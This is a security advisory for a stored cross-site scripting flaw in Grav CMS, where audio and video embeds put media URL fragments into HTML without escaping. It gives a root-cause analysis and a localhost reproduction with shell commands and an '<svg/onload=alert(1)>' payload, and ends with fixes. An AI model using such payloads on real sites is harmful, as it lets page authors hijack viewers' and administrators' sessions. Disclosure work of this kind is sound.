GHSA-6qw9-4vv5-jr97: XSS

Published Sep 17, 2026
·
Updated

Target: github.com/getgrav/grav Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L) Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)

Summary

A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so !x>) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.

This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.

Root Cause

The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):

php protected function sourceParsedownElement(array $attributes, $reset = true) { $location = $this->url($reset); return [ 'name' => 'audio', 'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.', 'attributes' => $attributes ]; }

$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialcharsdecode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.

Two defenses that stop the querystring path do not cover the fragment:

- The GFM tagfilter — ParsedownGravTrait::filterDisallowedRawHtml() L528-535 — escapes < only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup. - The call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.

The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.

Steps to Reproduce

Prerequisites

- PHP >= 8.0 with the built-in web server (verified on 8.5) - curl - unzip

Step 1: Download Grav 2.0.13 (latest stable, self-contained core)

bash mkdir -p /tmp/grav-xss && cd /tmp/grav-xss curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip unzip grav.zip

Step 2: Create a page with an audio file and a malicious Markdown embed

bash cd /tmp/grav-xss/grav mkdir -p user/pages/03.poc printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3 cat > user/pages/03.poc/default.md <<'MD' --- title: XSS PoC --- !sound>) MD

Step 3: Start Grav

bash php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php

Leave this running and open a new terminal for the next step.

Step 4: Fetch the rendered page and show the un-escaped injection

bash for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done curl http://127.0.0.1:8390/poc | grep -o '<audio.</audio>'

Expected output:

<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>

The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.

Suggested Fix

Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.

Cleanup

bash kill %1 2>/dev/null rm -rf /tmp/grav-xss

Impact

Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.

Affected Software

1 affected componentFixes available
composer/getgrav/grav<=2.0.14
2.0.15

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.15
  2. Configuration

    Escape `$location` with `htmlspecialchars()` before concatenating it into the `<source src="…">` attribute in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (the raw HTML source sink), so characters such as `"`, `<`, `>`, `=`, `(`, `)` in the fragment cannot break out into live markup.

    Grav\Common\Media\Traits\AudioMediaTrait::sourceParsedownElement() (and VideoMediaTrait::sourceParsedownElement()) HTML escaping of media URL fragment = Apply htmlspecialchars() to $location before concatenating into rawHtml `<source src="…">`
  3. Configuration

    In the excerpt handler, prevent the media URL fragment from being decoded into a form that is then routed/reflected without encoding (the described flow uses `htmlspecialchars_decode(urldecode(...))` in `Excerpts.php` before routing to `urlHash()`), so that the fragment is not reflected into `<source src="…#...">` as un-encoded characters.

    Grav\Common\Page\Markdown\Excerpts.php Media URL decoding/encoding for URL fragment handling = Do not undo Parsedown escaping with htmlspecialchars_decode/urldecode for fragment reflection
  4. Configuration

    In `MediaObjectTrait::urlHash()`, encode the URL fragment (it currently only strips a leading `#` per the described code path) rather than passing it through verbatim, so the fragment cannot inject characters into the raw `<source src="…">` rendering.

    Grav\Common\Media\Traits\MediaObjectTrait::urlHash() URL fragment encoding = Encode the URL fragment instead of passing it through verbatim

Event History

Sep 17, 2026
Advisory Published
via GitHub·05:31 PM
Data Sourced
via GitHub·05:31 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which code paths have been verified as affected?

The issue was verified in Grav 2.0.13, identified as the latest stable release, and in the develop branch at commit 5a7070f. The affected rendering paths are AudioMediaTrait and VideoMediaTrait sourceParsedownElement().

2

What must an attacker do to trigger the issue?

An attacker must cause crafted Markdown containing an audio or video embed with a malicious media URL fragment to be rendered. Exploitation then requires a user to view the rendered page.

3

Who is most exposed when malicious content is viewed?

Any viewer can have attacker-controlled JavaScript execute in their Grav session. If a logged-in administrator views the page, the script can execute with access to that administrator's same-origin Grav Admin session.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203